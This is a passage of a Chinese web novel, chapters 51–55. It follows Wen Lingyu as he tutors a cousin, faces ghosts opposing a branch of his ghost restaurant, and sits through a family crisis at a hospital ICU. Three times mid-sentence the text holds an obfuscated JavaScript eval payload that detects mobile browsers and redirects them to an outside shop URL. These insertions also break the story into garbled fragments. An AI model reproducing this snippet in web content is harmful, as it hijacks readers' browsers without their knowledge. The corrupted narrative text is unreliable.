二堂叔父先看了一眼宋时盛，意思很明显，宋时盛看出来了找了个由头先走，等到人都看不见了，才说道：“令羽，叔父有个事情想找你帮忙。” 见温令羽没有拒绝，二堂叔父就带他找到了个安静无人的地方，毕竟他要说的事情可不能被二叔公知道，否则家里又是一番争吵。 “你堂妹今年高三了，但是成绩一直上不去，叔父想让你给她补补课。” 温令羽从没见过这位堂妹，但对方家里条件不差，请个家教的钱不至于出不起，更何况他的高中知识不一定能记得很清楚，“可以请家教，我怕我教不好堂妹。” 二堂叔父早就想过，但被否决了，更何况现在家里又将有一个，根本不同意把人请回来。 在对方的再三恳求下，温令羽没法驳了面子，但丑话要说在前头，“我只能尽力，要是没教好还是尽早另外请个老师吧。” 二堂叔父松了一口气，“这个补课费叔父会给你的。但是你千万不要和你爸说这个事情，要不然你二叔公……” 话是没明说，但是凭借大叔公的事情，温令羽也能想到二叔公在家里是多么强势。 二堂叔父确实着急，隔天就打来电话，来问温令羽什么时候能正式开始补课。 “要不要叔父去接你？” “没关系，发给我地址我自己过去就可以。” 温令羽没有去过，便让二堂叔父发个地址他打车过去，车程要一个小时，跨了一整个区，还好是打车不然地铁转公交路上都要花费三个小时。 二堂叔父和二叔公住在一起，他们一起买了个复式。 温令羽在门口踌躇徘徊了很久，做好心理准备后，才敢去按门铃，生怕门后是他二叔公那张脸。 他可是答应过不将补课的事情说出来。 出乎意料的是，家里只有叔父和堂妹，二叔公因为修路的事情回老家了，短期内不会回来要在那边监工，而二堂叔母去产检了，要晚点才回来。 “我现在要去医院陪你叔母了。之后每周末我也要回老家，但是你叔母在家，你联系她就好。” 难怪叔父能留下来，是用陪产检的理由。 “她现在楼上书房。时间来不及了我先走了。”二堂叔父拎起他放在沙发上的包，直接开门走出去了。 门被关上的那一刻，楼上的门也开了。 楼上的角度看不到门口，温令羽抬头看到了堂妹在努力往这边看，说道：“已经走了。” 堂妹已经被叔父打过招呼，主动向温令羽问好，“堂哥。” 到了书房，温令羽见堂妹正在写卷子，想过去看看试卷情况。 还在试卷第一题。 换成其他题目，温令羽还能说服自己是题目太难，但是数学第一题，纯送分题，这都没写，什么理由都没法用。 “你刚刚没在写吗？”温令羽还在看放在一旁的其他卷子，都是空白的，应该是还没动过。 堂妹没说话，继续往下写。 虽然写得很慢，但温令羽仔细看过，正确率很高。 等她做完这一张，温令羽坐在另一张椅子上检查，她继续做下一张。 基础挺好的，看得出堂妹学得很仔细，但是对于中难题，解题方法单一，不会拐弯才导致经常性失分。 温令羽在错题旁边写上其他解法，希望能给她另一个思路。 做了几个小时，温令羽和堂妹解决了好几张练习卷，有好几道用了新的方法，依旧会错几道，但可以抓住得分点，有了进步。 温令羽站起来缓解坐麻的腿，一抬头就看到墙上的钟表，说道：“中午了，要休息一会儿吗？” “不用，我把这张卷子写完。”堂妹拒绝了温令羽的建议，然后继续做下一张。 这么长时间过去，医院可能该回来了，温令羽边说边往外走，“他们还没有回来吗？” 温令羽实际上是自说自话的，没想过堂妹会回答。 “他们要傍晚才回来，中午会有阿姨过来做饭的。”堂妹的话还响在耳边。 温令羽就听到楼下有阿姨做饭的声音。 堂妹已经是习惯，到点都不需要阿姨上楼来叫，直接就下来了。 “刚刚先生打电话回来，说家里有两个人，不知道合不合胃口。”阿姨说这话看向温令羽。 尽管两个人吃，但是阿姨做了一桌。 有一道温令羽不喜欢，但不影响，温令羽夸赞道：“很好吃，辛苦了。” 下午的时间，堂妹要写其他科目的作业，这些科目并不是温令羽擅长的，便不打算留下。 “明天我会过来的，我先走了。” “我爸说你会在这里吃晚饭。” 温令羽摆摆手，无事留下来他也不好意思，“不了，我明天再过来。” 说着，温令羽就开门撤退，关心前面的情况，背后直直撞上了人。 一回头就见到大叔公儿子的一张脸，因为他与大叔公就是一个模子里刻出来的，和成为了鬼的大叔公简直是一模一样。 “大……”温令羽脱口而出，快速反应过来后闭了嘴巴。 虽然反应及时，但对方还是能听出什么意思，懒得和小辈计较。 “你怎么在这里？” “我来送点东西，叔父，那我先走了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508656|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大叔公儿子就住在楼下，他只想着二叔公在，完全忘了躲这人。 毕竟高中三年他缺席的祭祖仪式，每次都被这人开私聊教育，每一次都是大段语音。 六十秒不是他的极限，是软件的极限。 温令羽打完了招呼，赶紧乘电梯下楼，毕竟可不想再被他唠叨一番。 想着家里的人都在鬼小馆，温令羽没有着急回家，便也准备去那里看看，正好看看有没有新的人选。 毕竟大叔公的事情，他几乎是没有一点办法。 温令羽刚到了门口，于先生从里面出来，他正是要来找温令羽的。 “我正要来找你，我们进去聊。” 于先生在忙分店的事，这一趟也是来向温令羽汇报情况，毕竟正版授权过的分店是要向总店示意，要不然没法向分店交待。 温令羽的店刚好方便谈事情，就带于先生去那里。 “分店现在到哪一步了？”这么长时间，温令羽还没来问过，全权交给对方了。 于先生的进展十分顺利，“都好，地方也大，里面的设施也准备的差不多了。你有空可以跟我去现场看一看。” “下周三吧，到时候还在这里见。”温令羽当然得去现场看一看。 温令羽没有确认过，也没法投入实行。 于先生觉得太迟了，想商量提早，“这周六吧。已经耽误很长时间了。” 话音刚落，门被推开了，白发大爷走了进来。 温令羽对于新来的帮手，还没有完全适应，总会忘记，于是他脱口而出，“你怎么进来的？” “门没有锁，我就直接开进来了。”白发大爷实话实说。 关门的是于先生，他压根不知道人鬼交流所有新招来的鬼，完全就没有锁门的概念。 自己的地盘上，不需要这么小心。 白发大爷在外面听到了对话，他有些恼怒：“你要开分店？你知不知道这意味了什么。” “意味着可以帮助收留更多的鬼魂。”温令羽说出了内心的想法。 “我在这里待了这么多年，从来没一任老板说要这么做的，就你要搞特殊。小馆里的房间住不下了，你不应该先反省一下自己吗？” 鬼小馆里的房间经过这么多年的安排，已经没几间空的。 这确实是温令羽答应的原因之一。 白发大爷是在门口吵的，争吵声都能传播出去，很快外面围了一圈看热闹的鬼魂。 原本打算晚点公布的，温令羽看了一眼情况，他走了出去。 “既然大家都来了，我就坦白说了。大家来到这里都不容易，所以我和于先生想在其他地方再开一间鬼小馆，让更多的鬼魂能受益。” “现在另一家已经修建得差不多了，我会先去看过，没问题了大家就都能去。” 温令羽大声地说，致力于让所有的鬼魂都能听到。 白发大爷冲了出来，吼道：“我不同意！现在小馆里面资源少得可怜，分了出去这里还能剩下多少？你让住在这里的大家怎么过？” 52.堂妹反击 “晋叔，你怎么了？”阿辛刚到外面转了一圈，逛完了回来就看到店铺门口围了好多鬼，还听到晋叔在里头喊，心理不由得发虚。 完了。 温令羽一脸冷漠，他好像没必要对他解释什么。 阿辛拦在两者之间，生怕一言不合就打起来。 此刻着急上头的他，完全忘记了鬼和人是打不起来的。 晋叔是想让温令羽给他个话，但温令羽一言不发，他也没法强硬要求温令羽交待。 现阶段是吵架不起来，阿辛空出手把店铺门口看热闹的鬼魂先劝走了，“好了，大家都散了吧。” 有个与阿辛交好的，他刚刚就一直在这里，从头到尾都没搞清楚状况。 “阿辛，你朋友刚刚说了些什么？什么分馆啊。” “这个我到时候和你说，你能帮我先解决一下这里吗？” 阿辛双手抱拳，对眼下的情况十分困扰。 围在这里的鬼魂都没有离开的迹象，急需一个鬼魂做个领头的，只有一个走了，其他才会跟上。 “那你别忘了。”他最终还是妥协下来。 温令羽看阿辛处理情况，自己则是先进来，把于先生先带出去。 “那我们下周再见，我送你出去。” 于先生看着跟进来，表面上凶神恶煞的晋叔，指着他，“那这个人……” “没事。”温令羽回他，然后带他从另一个通道离开，可以远离鬼魂最常走的那段。 温令羽刚回来，就听到阿辛正在和晋叔解释。 “晋叔，我们这么做都是迫不得已。于先生请了两顿大餐，我们只能满足他的愿望。” “你待在这里这么久，应该知道规则。” 晋叔跟前任老板交好，这些规则他也确实清楚，但是于先生宴请的那一段时间，正值他出门并不在鬼小馆，对这些并不知情。 “他真请了全小馆的鬼？但是他掌管分馆分权不可以。” 能宴请全馆的鬼不容易，要求还必须不损害其他鬼魂的利益，大部分做到的鬼，都是寻求解脱。 听到这，温令羽再没法沉默，“他没有。分馆只是为了收留更多的无处可去的鬼魂，并非是为了掌控。” 晋叔还在生气非常不满，他冷哼一声，说道：“你就这么懂？” 阿辛害怕又吵起来，他拦在两人面前，安抚晋叔，“我觉得不至于这样，实在不行我们一起去看看。” 说着，阿辛给温令羽使眼色。 实际上，对于团队中多出来的一位陌生的，开始是惶恐且害怕的，大部分是欢迎的，毕竟他们的交流所需要一位懂整个鬼小馆的资历鬼魂。 温令羽还是想留下这位帮手。 于是他点头同意，并且也说服晋叔去现场看一看，“要是不相信，不如亲眼见一见。” 用了一点激将法，好在晋叔也吃一套，一行人决定一块儿过去。 温令羽来这么久都没见到温老，他问阿辛：“老祖宗他不在吗？又去影映室吗？” 近期温老已经对影映室厌了，在他重刷两遍之后，就再也提不起兴趣，再无聊也只能在里面待半个小时。 “老先生和另一位老先生在茶室。” “谁啊？” 温令羽没听懂阿辛讲的是谁。 “就是大叔公啊，他今天早上过来的。” 话音刚落，温老就领着大叔公走进来，温令羽上前和他们礼貌问好。 “阿羽，你和你爷爷长得很像。” 温令羽的爷爷是最小的的弟弟，从小被这位哥哥带着长大，两人的关系也特别好。 在爷爷的相册里，温令羽看到过大叔公的照片，照片比现在年轻。 提到了爷爷，温令羽有片刻的愣神，他已经很久没记起爷爷的模样，不过很快他就回过神。 “你大叔公现在没地方去，你安排一下。”温老把人带过来，当然不止叙旧这么简单。 大叔公很敬重温老，毕竟是挂在祠堂最顶上的老祖宗，他尽管不赞同温老，语气里还是尊重占了上风，“我不用，我有地方去。” 温老压根没理会，他说道：“你家现在修路的事情，把你大叔公的房子给拆了，所以现在没有地方去了。” 没有占地为家的癖好。 温令羽没想到修路竟然还拆了房子，他有些吃惊，“不会吧，这房子说拆就拆了？” 大叔公的房子是原先的旧房子，兄弟分家将住得最久的给他大哥，这个家离祠堂很近，却没想到成了修路最先舍弃的地方。 温令羽去了酒保那里做了个登记，“现在小馆内还有空房间吗？” 现在住鬼小馆的鬼越来越多，空房间的问题确实亟待解决，之前都是靠扩大地盘来解决，但是温令羽现在的经济实力不足以包下更大的地方。 酒保翻开登记簿，“小宝的房间空出来了，要不然这里。” 温令羽想了想，他同意，然后对大叔公说道：“现在还有个房间，大叔公我带你过去。” 小宝的房间是葛大哥特意安排的，而且他来得早，房间在上层。 温令羽提前给大叔公打了剂预防针，“就是房间楼层比较高，但对于你们应该很容易。” 鬼魂可以穿墙。 大叔公跟在温令羽后面慢慢走，他对于这些并不在意，说道：“阿羽，他还好吗？” 这个他，还是能明白的。 “他创业很成功，对二叔公也很好，连房子都买在一起，给二叔公也留了一间，而且他也有了一个家。” 大叔公很久没有听到儿子的消息，这是他第一次打听。 “挺好挺好的。”大叔公语气哽咽，像是察觉到自己在小辈面前失态，他说道：“我现在想自己一个人待一会。” 话这么说，也没了留下来的理由，温令羽嘱托道：“那你有事情可以找我，我先走了。” 没想到第二天去补课，大叔公就站在小区楼下，呆呆地看着高高的楼层。 温令羽走到他身边，以为是他不知道儿子的楼层，“叔公，叔父的楼层我知道，带你上去吧。” 这小区是很早之前买的，门禁系统没这么严，要不然只能靠卡去楼层了。 听到说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520408|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，大叔公一脸惊讶，这么远的地方都能看见温令羽。 “你怎么在这里？” 温令羽便将二堂叔父请求他来帮忙补课的事情说了。 大叔公没想到弟弟能偏心成这副模样，对于孙女竟然如此不关心，在这年头真是少见了，“我这个弟弟太糊涂了。” 温令羽只能站在一旁，尴尬地听大叔公他吐槽弟弟，一口都插话不上去。 “堂哥，你到了怎么没上去？”堂妹两只手各拎着两大袋零食，从外面走进来。 这个时间是写作业的，但对方竟然这么有礼来招待他。 温令羽如此想着，也不好再说，谦虚推辞道：“不用买这么多，我也不爱吃零食。” 堂妹尴尬地不敢看温令羽，“是温宇来了，他爸爸代替我爸爸去乡下，小孩子喜欢吃。” 温宇是大叔公的孙子，比温昕都小，老年得子。 温令羽恨不得一头扎进地下，好不容易外向一次，再也不敢了，“这样啊，那我再去买一点。” 说着，温令羽就要往小区门口去，一下子被堂妹拉住了。 “我买了很多，我们上去吧。” 温令羽只好跟在堂妹身后上楼，大叔公则是飘在他们后面，终于是回过神来，他快步和温令羽并排，“温宇就是你和我说的？” 前一天温令羽先做了介绍，大叔公有了最基本的印象。 在温令羽确定后，大叔公连步子都走不稳了，飘得也是乱七八糟，一下子左边一下子右边。 一行人进去，二堂叔父正在和二叔公打电话。 “我哥去了不就得了，我又帮不上什么忙！” “修路的名声好处都让给你哥，我怎么生了你这么个儿子！”二叔公充满怒气的声音从话筒里传出来，哪怕都不需要电话免提。 温令羽站也不是，坐也不是。 好在堂妹注意到温令羽的窘迫，带着他赶紧去书房。 温宇坐在堂妹的位置上看她的习题，刚上小学的他完全看不懂，“姐，你的试卷都这么大的。” 小学生语文试卷一张四面，高中生语文试卷两张十面。 堂妹将零食塞到温宇怀里，让他去另一间房玩，“隔壁有玩具房，你可以在那里，不能搞破坏。” 温令羽好奇心发作，他跟着温宇出去。 玩具房里还是新的，很多玩具都是没拆封过的。 温令羽觉得奇怪，他自顾自问道：“怎么这么想刚装修的。” “当然了，这是我爷爷特意给我弟弟装的，把他的茶室都拆了，万一是个妹妹不知道要不要拆回去。”堂妹也跟过来了，嘲讽着说。 给温令羽彻底整沉默了，他好想逃。 堂妹给温宇关上房间门，让他自己好好待在里面玩。 “你这样放温宇进去，二叔公回来，会怎么样？”温令羽有些担忧，无论是温宇还是堂妹。 “大不了就一顿骂，反正不是第一次了，我不害怕。”堂妹无所谓态度让温令羽松了口气，下一秒她看出来了，安慰道：“我爷爷碍于面子不会骂温宇的，所以没事。” 53.重症监护 高三生开学早，要提早回学校补课，这也就意味着温令羽的补课宣告结束。 “你爸爸有说什么时候回来吗？” 二堂叔父前些天回老家，家里只剩下怀着孕的叔母和两个孩子，温令羽便多留了几天。 温宇正处在爱玩爱闹的年纪，堂妹又开学了白天都不在家。 堂妹快速写下选择题答案，头都没抬，“不知道。路是修好了，听说还要摆酒桌，没有这么快。” 摆酒桌吃饭，确实是有二叔公的行事作风。 突然，温令羽的手机响了，是二堂叔父打来的。 温令羽一边接起来，一边还奇怪地问堂妹：“你手机关机了吗？怎么打到我这里来了。” 二堂叔父自走后的每个晚上，都会给堂妹打来电话问问家里的情况，这一次竟然打到温令羽的手机上来。 “阿羽，你先确保你身边没人。”二堂叔父说话语气特别着急，不断让温令羽找一个好说话的地方。 温令羽尽管心里纳闷，但还是听二堂叔父的话，找了个借口独自去门外。 “可以说了，我现在身边没人。” “你大叔父和我都出事了现在在医院，你悄悄把温宇带过来。千万别让囡囡知道，她还要考试，知道我出事了她会着急。” 温令羽还想再问些什么，对方已经把电话给挂断了，看着空空的界面深吸了一口气。 话都不说清楚。 温令羽重新推门进去，堂妹就站在门口，那眼神给温令羽心都看慌了。 强打精神后，温令羽说道：“你干什么？” “我爸打电话来说什么了……”堂妹凭她的第六感跟了出来，在看到温令羽心虚的表情后，怀疑更甚了。 温令羽记得叔父的嘱咐，他回复道：“你爸爸说温宇还在假期，让我把他带去老家玩一玩。” “那你躲我为什么？”堂妹一点都不好忽悠。 不过难不倒温令羽，之前他哄骗温父的经验早练出来了，“还不是怕影响你心情，我们都出去玩留你一个人看家。” 确实是把事情转圜回去。 堂妹找不到其他不对劲的地方，只好就此作罢，问出了最后一层疑惑，“真的吗？” 温令羽肯定地点头，还补充道：“当然了，我等下就赶车过去。” 温宇晚上都在这里睡，其余时间在家和这里两头跑，大叔公的鬼魂便一直跟着他，看顾他的安全，要是遇上事情立马来和温令羽讲。 这个时候，大叔公正在陪温宇在楼下玩。 温令羽敲了敲门，里面温宇正在拼拼图，已经完成一半了，他叫了他的名字，“温宇，你去房间把你的衣服拿几件，我们现在去找你爸爸。” 一提到可以去见爸爸，温宇很高兴，手上的拼图也不好玩了，丢在了地上，赶紧跑去房间收拾东西。 温宇消失在视线里，温令羽的脸色变得沉重。 都快晚上还出远门本就奇怪，加上脸上的表情，大叔公问：“发生什么事了，怎么这么突然要走。” 温令羽没打算瞒他，就将电话内容复述出去。 听完，大叔公呼吸停了一瞬，下一秒，“我和你一起去。” 温令羽点了点头，当晚两人一鬼踏上了回去的路，高铁一张成人票一张儿童票，还有一张无座。 到的时候是在凌晨，三叔公派车过来接的。 车子停在出站口，三叔公家的司机温令羽认识，打了声招呼上车，结果三叔公端端正正坐在后座，和温令羽来了个对视。 在对方的注视下，头皮都快发麻了。 “三叔公，这么晚还没休息？”温令羽礼貌问好。 在他身后的温宇早已经昏昏欲睡了，他努力强撑起精神，一睁眼就看到三叔公盯着他，被吓得躲在温令羽身后，根本不敢上车。 无奈的温令羽只好坐在两人之间，把温宇护在右侧。 三叔公是知道情况当天赶过来的，接到温令羽就准备去医院看望两人。 车上的气氛压抑，温令羽主动打破僵局，“三叔公，现在的情况怎么样？” “大老远的路程谁把你喊过来的，连温宇都带过来了。”三叔公不答反问。 温令羽只能回答道：“是叔父打来电话让我把温宇带过来，说大叔父的情况不太好。” 三叔公冷哼一声，他现在对二叔公一家都很不满，好好一件好事被弄成这副样子，实在是把他们一家的脸都在全村丢尽了。 祠堂门口那段路是老路，虽然是水泥制作的，但使用了这么多年，有几段都已经干裂了，经过几次的修补，只能暂时维持使用。 刚开始，就打算全部挖掉，重新做一条新的。 计划是到有一条河边就结束了。 修路过程进行得十分顺利，按照施工路线走，加上村里的帮工很快就完成了。 都准备开始办庆功宴了，二叔公却在此时此刻提出来，要一起把桥给修了。 住在村里的人当然是愿意，纷纷还拿出钱来资助，为修桥这项工作添砖加瓦。 二叔公因为修路这事，在村里说得上话，决定好的当天就去了村委家，村长十分热情地迎接他。 “村子里的那座桥很旧了，我想连着一块给修了，一劳永逸。”二叔公确实在为村子着想，当时募集的钱还剩下很多，可以支撑把桥一起翻新。 村长当然希望村子能建设得更好，本就因为外出工作的事情移民搬走了大批，村子里没留下多少人，“温老哥，你这个想法好啊。现在村子里都是老人，哪一天桥坏了真的影响很大。” 在村长的领头下，庆功宴暂停，准备继续搞建设。 但施工队的档期，却成了大问题。 他们接了其他村子的修路活，修路结束后就得赶过去，误了工期他们赔不起违约金。 二堂叔父就留在这里找其他施工队，而大叔父则是去现场监工。 私自动工没有任何安全保障，村子里的帮工年龄有些大，大叔父不放心情况就过去看顾。 大叔父就是在修桥的时候，一不小 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一听这话，温宇压抑不住情绪，直接要哭出来，“堂哥，我爸爸他怎么样了？怎么会受伤呢？” 温令羽也不知道该怎么回复，才能安抚温宇，让他不这么伤心。 这一路上大叔公都没有说话，处于不敢置信的状态，温宇一哭让他脑子清醒了，看清楚指示牌的字，是去重症监护的方向，赶紧叫住了温令羽。 “阿羽，这么晚了，你带温宇先去休息吧，重症监护现在也进不去。” 话是这么说，可温宇早就没了困意，只想去见爸爸一面，他哀求温令羽带他过去。 温令羽本来就心软，这个时候更是不会说一个“不”字，只能是将他带到重症监护室的门口。 温宇面对紧闭的门，抱起来也没法看清里面的情况，不安地问道：“堂哥，我爸爸能好吗？” 温令羽安慰道：“会的，医生阿姨和叔叔一定会救你爸爸的。” 温宇不想走，温令羽便陪他在重症监护门口待着，大叔公作为鬼魂没有限制，直接穿门进去。 没等到大叔公出来，二堂叔父倒是从自己病房里出来找他们两个。 “这么晚你应该先带温宇回去。” “三叔公的车直接来了医院，温宇他也不想走。” 温宇正靠在温令羽的身上，眼睛睁得大大的，无声地在流眼泪。 二堂叔父蹲在温宇面前，拥抱他小小的身体，“小宇，跟伯伯回去好吗？明天伯伯带你进去看爸爸。” 在二堂叔父再三劝说下，温宇终于是肯走了。 二堂叔父抱着温宇，看到温令羽没有起身走的打算，说道：“阿羽。” 温令羽摇了摇头，他还需要等大叔公出来，不能走，“你先把温宇带回去睡觉吧，我再等一会。” 已经是个成年人了，二堂叔父仅仅一问，见他坚持也就不劝了，抱着温宇回他的病房休息了。 54.病人病房 “看到人了吗？现在情况怎么样？还好吗？” 温令羽与大叔父不熟，平时也没见过几次面，他是温宇的父亲，这几个问题也是温宇想知道的。 明天温宇醒来后问，温令羽都不知道该怎么回答他。 大叔公在里面待了好几个小时，才出来了，不过他神色淡漠，从脸上看不出什么消息，只能靠问了。 现下能说几句话的人只有温令羽，找不到其他的叙述对象，毕竟能和鬼说话的仅有这一人了。 大叔公笔直站在重症监护室的门口，看着紧闭的门不说话，无论温令羽怎么问都还是一样问。 温令羽都快等放弃了，不知道哪里戳中了他，顿时让他有了倾诉的想法。 “他还在昏迷中，还好没有生命危险了，大概明天就能出来了。” “你听到医生说了？” 问出来就知道白问了，想想也知道，大叔公若非是听到医生保证确认过，不然在里面待一整夜都有可能。 大叔公确实是听到医生发话后，才从里面出来，主要外面还有他的孙子在等待结果。 这么想着，他将视线转了过来，原本靠在温令羽旁边的温宇，那个位置现在空了，剩下温令羽一个人在。 大叔公神情破裂了一瞬，问道：“人呢？” 毕竟是第一次看见这样的大叔公，温令羽还惊讶了一会儿，在大叔公再次问出口之前回答了。 “温宇被叔父带去休息了，他现在还小，不适合熬夜太晚。” 说着，温令羽补充道：“我明天会带他过来。” 知道了温宇的去向，大叔公也放下心来。 医院的过道上有时钟，上面的时间显示两点钟，凌晨的时间本该是寂静好眠的，可处在这里，时不时就有人走过，有哀伤也有庆幸。 “你也回去休息吧，我自己留在这里就好了。”大叔公注意到了时间，他让温令羽先走。 温令羽刚想拒绝，但是大叔公一脸不想再谈又生人勿进的模样，要留下的话就说不出口了，待不牢就干脆去找温宇。 住院病房在另一层楼，具体病房号温令羽没事先问过，到了电梯口不知道目的地在哪。 温令羽拨了电话过去，显示无人接听，第二遍却直接被挂断了。 没等到温令羽问，二堂叔父就发来了消息。 “九楼16号，你过一个小时后再过来。” 虽然不明白是什么用意，温令羽还是等了一个小时之后才乘电梯上楼。 温令羽在暑假的这么几天里，作息已经调整过来，凌晨三点的时间对他来说实在是太迟了，已经哈欠连连，恨不得找到一张床就躺下休息。 住院九楼的病房是普通单间，大晚上的病房门都是紧闭的，好在走廊灯光是亮的，发现病房号渐渐变大，找到了16号。 一推门，二叔公三叔公都在，甚至还有不少没见过面的温家人。 听到开门的动静声，齐唰唰都看了过来，特别是看到来的人是个小辈的时候，那眼神光看都让人寒颤。 温令羽大胆子环视了病房内一圈，没有温宇和二堂叔父的身影。 唯一应该待在这里的人却没来，没病甚至不需要休息的人却借这里用来谈自己的私事。 温令羽后退几步，把房间门重新带上关起来。 “阿羽。”走廊的尽头，有道很轻的声音从那边传过来。 温令羽向那边走去，就看到原本供人休息的长椅上，温宇躺在上面，而旁边坐着受了伤的二堂叔父。 虽然是轻伤，但腿上都是包扎过的痕迹，眼里的疲惫表示他需要休息。 温令羽在长椅另一边坐下来，他打了个哈欠，“你怎么在这里？” 二堂叔父看到温令羽从那头过来，就知道他肯定是进去过了，“你刚刚是不是进去了？” “对啊，太吓人了。”温令羽根本不敢回忆刚才的场景。 “早说了让你别这么早过来。” “已经一小时过去了。” 温令羽觉得自己特别委屈，他可是特意多等了一个小时才来，谁能想到他们家这群老古董真的能大半夜不睡觉，还霸占病房谈事情。 精神气简直比他这个年轻人都要好。 二堂叔父他也很无奈，“刚刚出来只顾带温宇，手机没带出来。” 要不然肯定让温令羽再多等一下，确保人都离开了他再叫人上来。 但现在人也碰上了，尬也犯了，事情也不能再糟了。 尽管长椅上有软垫，但温宇依旧睡得不舒服，翻来覆去的。 见状，二堂叔父将温宇抱在怀里，让他可以靠在自己身上，用身体给他做靠背，想让这个小家伙睡得安稳一点，这可是他好不容易哄睡着的。 安顿好了小的，温令羽还在继续打哈欠。 二堂叔父空出一只手拍了拍椅子，“你坐这边吧，可以靠在我身上睡一觉。” 温令羽摇了摇头，面前是个病人，还穿着病号服被赶出自己的病房，宁可自己靠着椅子依靠自己坚强的毅力，撑过困意。 两个人就这么睁着眼睛等，半个小时后谈话的人终于陆陆续续走出来了，但没有一个人关注到在这边的两大一小，直接就转到电梯那一边走掉，一个回头都没有。 普通单人病房里全部人都走掉了，一下子就空了。 二堂叔父腿摔伤了，又被温宇这么大的孩子压这么久，早就麻了，尝试站了几次不行。 温令羽看到这边，他一把将温宇抱起来，先带他回了病房，再准备回来扶人。 现在没了他可怎么办。 等病房门关掉。 在另一张沙发上躺下来，温令羽可以好好歇一歇了，刚眯起眼，在病床上的那位又有话说了。 “你来的时候没和囡囡说漏嘴吧。” 温令羽有气无力地回应：“没有，就说带温宇过来玩。” “今天辛苦你了。”从知道消息到赶过来花费了好几个小时，连歇口气的时间都没有，这一句话确实说到点子上了。 温令羽接受，实在是熬不住了，说道：“都快过休息时间了，快睡吧，白天你房间绝对又围一圈人。” 大晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你怎么了？” “你爷爷是整个家里最好的人。” 这句话来的意外，温令羽也认同，“我爷爷他确实很好很好。” 温父先走，然后又走了回来，是来特意叫上温令羽，“你跟我一起走，那边还有事情。” 话音刚落，温令羽仔细想过，他在这边反正也没事，准备和他一块走。 突然他反应过来，病房里说是有大叔公和温宇，但其他人都看不见，只知道有温宇一个小孩。 温令羽停住了脚步，“我在这里陪温宇，你走吧。” “那边病房都已经吵翻天了，你赶紧和我过去，温宇待在医院不会出任何事情。”温父铁了心要把温令羽带走。 温令羽并不在意温家长辈谈论的话题，也不想知道他们的结果。 大叔公走了过来，说道：“令羽，我留在这里看顾他们父子两，你去看看。他们聊的事情与父子两也有关，我们都不能被当作傻子蒙骗，在这里我只相信你。你去吧。” 温令羽点了点头，对温父说：“那我们走吧。” 55.昏迷不醒 两间病房距离有些远，路上花费的长长时间，给了温父教育温令羽的机会，恨不得要把这辈子的话都说干净了，把他父亲的责任一次性全负完了。 温令羽跟在后面，趁着温父注意不到他，把头转向另一边消遣时间，至于温父的话左耳朵进右耳朵出。 终于是到了门口，熟悉的那一间。 “你等一会再进来，我先进去看看情况。”温父把温令羽挡在外面。 温令羽简直要给温父的逻辑“跪”下了，要他过来是他，来了不让进的人也是他。 不过在里面大群腐朽的老顽固都在的情况面前，温令羽可不会傻到现在对温父翻脸，他回复道：“知道了。” 温令羽四处张望了一遍，他总觉得二堂叔父应该不在病房里面。 果然，在昨晚的老地方，二堂叔父后背对着自己，一手拿着手机在聊电话，越靠近可以听清楚对话，是在安抚堂妹的情绪。 温令羽如此想着，他后退了几步，准备等对方聊完了再说说。 二堂叔父刚挂完电话，一回头看见温令羽坐在椅子上，也不知道手机上有什么吸引到人，让他看到如此入迷。 “你爸来了？” 温令羽点了点头，这些天相处下来，他和二堂叔父的关系不像是长辈，反而更像是相识已久的朋友，这大概和二叔公一直打压他有关系，。 温令羽绕过去，依旧紧闭的房门，“他们里面在聊什么？昨天一晚上都没有聊完，现在还要继续。” 二堂叔父在温令羽身侧的空位上坐下来，他止不住地叹气：“我哥可能醒不过来了。” “你哪来的哥……”二堂叔父哪里有亲哥，他可是二叔公的独生子。 二堂叔父没说话，温令羽单单从眼睛中，读出了一些不太好的猜想。 “大叔父醒不过来了？那温宇怎么办？！”温令羽难以置信，一下子就从座椅上站了起来，深深地盯着看。 二堂叔父摇了摇头，他就只知道这些，温宇之后的去向还需要其他长辈定夺，现在温宇已经没有能抚养他的长辈了。 温令羽依旧不敢相信，“你怎么会知道大叔父的病情，不是说已经好了吗？” 送大叔父过来的是温家人，尽管温令羽时常陪护，但到底看上去就不是个能稳住事的，温宇一个小孩就更不可能了，医生就没过来说，直接告诉了温家。 医生来的时候，二堂叔父也在现场，不过一向没有话语权的他，连多问几句都没有时机，只能在一旁听一些边角料，拼凑出结果来。 “现在倒是有一个好消息，我爸已经被放权了，现在家里是你三叔公说的算，世事难料啊。”二堂叔父对此喜闻乐见，巴不得看他爸倒霉。 强势的爸，没了的妈，他早就过够了这种样子的生活。 “那二叔公名下的资产怎么办？” “合并。剩下一部分交到我手上了，终于不用再受到牵制了。” 温家祖上开始出来打拼，积累下了不少资产，一向都是老大继承大部分，小一点的都出去拼，拼得出头都算得上是个人本事。 大叔公死后，这一部分就落在二叔公手上，把持温家。 连自己的儿子都不乐意放手，一点权利都不舍得弃掉，这一遭直接就全没了。 温令羽也为他高兴，“恭喜。” 话音刚落，温父从病房里走出来，叫温令羽他们一块进去，“你们都在这里，进去吧，现在要宣布事情。” 能把病房当作交易谈事的场所，真就是温家人能做得出来。 